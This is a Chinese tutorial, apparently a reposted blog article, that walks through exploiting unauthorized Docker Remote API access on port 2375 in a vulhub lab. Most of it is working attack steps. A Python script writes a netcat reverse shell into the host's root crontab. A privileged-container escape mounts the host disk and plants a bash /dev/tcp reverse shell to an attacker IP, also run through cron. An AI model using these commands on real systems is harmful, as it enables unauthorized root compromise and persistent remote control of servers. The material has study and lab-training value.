Docker API 未授权访问漏洞

这篇具有很好参考价值的文章主要介绍了Docker API 未授权访问漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Docker API 未授权访问漏洞

1、漏洞简介
在Docker的部署文档中,由于默认存在某些不安全的配置样例,导致2375管理端口对外,该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker。
2、漏洞原理
利用 Docker 节点上开放的 TCP 端口 2375 远程执行 Docker 命令,进而可获取服务器 Root 权限。
3、漏洞环境搭建
这里我们直接使用 vluhub 环境

git clone https://github.com/vulhub/vulhub.git
cd vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d

4、漏洞验证
访问 http://your-ip:2375/version ;若能访问,证明存在未授权访问漏洞
Docker API 未授权访问漏洞
5、利用方式

5.1 第一种反弹shell方法
(1)在攻击机上安装docker环境

apt-get install docker docker-compose
service docker start

(2)接下来使用攻击脚本,详情如下:

import docker

client = docker.DockerClient(base_url='http://192.168.0.115:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.161 6666 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

以上脚本意思是:使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell

(3)然后在kali上执行 python 脚本反弹Shell给攻击机,执行完脚本,反弹shell成功!
Docker API 未授权访问漏洞

这里我们反弹到了Docker机器的shell
注意:此python脚本针对 centos系统可以反弹shell,ubuntu系统不反弹!

5.2 第二种getshell方法

(1)因docker 有远程连接命令,由于2375端口暴露,可未授权访问,所以现在可以在机器上通过远程方式连接doker

docker -H tcp://192.168.0.115:2375 ps  #查看远程机器上的正在运行的docker镜像
docker -H tcp://192.168.0.115:2375 images

Docker API 未授权访问漏洞

链接进去之后,发现没有镜像文件,那么去官方下载一个镜像文件 alpine

docker -H tcp://192.168.0.115:2375 pull alpine

Docker API 未授权访问漏洞

接下来启动容器,并进入 alpine 容器

docker -H tcp://192.168.0.115:2375 images
docker -H tcp://192.168.0.115:2375 run -it --privileged alpine  bin/sh

Docker API 未授权访问漏洞

在kali中启动一个有交互的shell,并且是特权镜像 当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限

进入容器后,使用fdisk -l命令查看磁盘文件

注意:在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。

从返回的type信息中可以判断出,/dev/sda1是主分区,那么接下里直接在容器内部挂载宿主机磁盘

新建一个目录:mkdir test
挂在磁盘到新建目录:mount dev/sda1 test
进入目录:cd test/
新建文件:touch test.txt   写入123测试:

Docker API 未授权访问漏洞

接下里看一下靶机中确实创建了 test.txt 文件,docker逃逸成功
Docker API 未授权访问漏洞
接下来可以反弹主机shell
创建 test.sh 文件且写入反弹 shell

#!/bin/bash
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
bash -c "bash -i  >&/dev/tcp/192.168.0.161/6666 0>&1"

之后给 test.sh 添加执行权限,并且写入到定时任务中

chmod +x test.sh 

echo '*/1 * * * *  /test.sh' >> /test/var/spool/cron/crontabs/root #每分钟执行一次test.sh文件

攻击机打开监听端口,等待片刻后成功返回 shell(注:宿主机docker版本为18.09.9,否则以上逃逸无效)文章来源地址https://www.toymoban.com/news/detail-483067.html

到了这里,关于Docker API 未授权访问漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 云安全攻防(八)之 Docker Remote API 未授权访问逃逸

    Docker Remote API 是一个取代远程命令行界面(rcli)的REST API,其默认绑定2375端口,如管理员对其配置不当可导致未授权访问漏洞。攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可导致敏感信息泄露,甚至可进一步利用Docker自身特性,借助容器逃逸,最终完全控

    2024年02月13日
    浏览(42)
  • Web漏洞-未授权访问漏洞

    未授权访问漏洞 漏洞介绍: 未授权访问漏洞就是在不需要请求授权的情况下对需要授权的功能进行访问执行,通常是由于认证页面存在缺陷,安全配置不当。 漏洞原理: 未授权访问是系统对用户的限制不全,或者无限制,可以让用户或者限制访问的用户,访问到内部的敏感

    2024年02月16日
    浏览(39)
  • springboot未授权漏洞(漏洞复现Springboot未授权访问及修复)

    Actuator 的核心是端点 Endpoint,它用来监视应用程序及交互,spring-boot-actuator 中已经内置了非常多的Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的Endpoints。每个 Endpoint 都可以启用和禁用。要远程访问 Endpoint,还必须通过 JMX 或 HTTP 进

    2024年02月05日
    浏览(52)
  • 漏洞名称:RMI 未授权访问漏洞

    漏洞描述:RMI默认使用序列化来完成所有的交互,如果该端口暴露在公网上,且使用了Apache Commons Collections的漏洞版本,就可以在该服务器上执行相关命令。 漏洞危害:攻击者可在没有认证的情况下直接操作对应的 API 接口,可直接被非法增删改次数据。且因为攻击是在未认证下

    2024年02月06日
    浏览(40)
  • 漏洞——Elasticsearch未授权访问漏洞(原理扫描)

    下载地址: https://github.com/huhublog/elasticsearch7-http-basic 注意:如果下载的是zip,则需要在本地使用idea进行打包编译为jar,然后上传到服务器的elasticsearch安装目录下的 plugins / http-basic 目录下 里面需要配置文件plugin-descriptor.properties 配置 elasticsearch.yml 然后重启es进行 测试: 或

    2024年02月12日
    浏览(46)
  • redis 未授权访问漏洞

    目录 redis 未授权访问漏洞 漏洞描述 漏洞原因: 漏洞危害 漏洞复现: 漏洞复现 写webshell: 写计划任务:centos默认在/var/spool/cron 写ssh公钥实现ssh登录: 漏洞描述: 漏洞原因: 漏洞危害: 1、禁止外部访问redis服务端口 2、禁止使用root权限启动redis服务 3、配置安全组,限制可

    2024年02月13日
    浏览(40)
  • Elasticsearch未授权访问漏洞

    对一个IP进行C段扫描时,发现了一台服务器存在Elasticsearch未授权访问漏洞 ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜

    2024年02月12日
    浏览(49)
  • Elasticsearch 未授权访问漏洞

    漏洞描述 ElasticSearch 是一款 Java 编写的企业级搜索服务,启动此服务默认开放 HTTP-9200 端口,可被非法操作数据。 访问 IP:9200 显示 You konw,for Search 表示存在此漏洞 显示登录界面或访问不到的情况 证明不存在此漏洞

    2024年02月11日
    浏览(35)
  • Nacos未授权访问漏洞

    Nacos 的官网地址为: https://nacos.io 它是阿里开源的 SpringCloud Alibaba 项目下的一项技术,可以实现服务注册中心、分布式配置中心。 一般来说,nacos被建议部署在内网中,如果在外网出现,会有很大的风险。 访问nacos页面,发现是登录页面,可以先尝试使用弱口令,nacos/nacos 尝

    2024年02月09日
    浏览(45)
  • Zookeeper未授权访问漏洞

    Zookeeper支持某些特定的四字查询命令,可以未授权访问,从而泄露zookeeper服务的相关信息,这些信息可能作为进一步入侵其他系统和服务的跳板,利用这些信息实现权限提升并逐渐扩大攻击范围。 常见的四字命令有 envi、conf、cons、crst、dump、ruok、stat、srvr、mntr 1.禁止2181端口

    2024年02月20日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包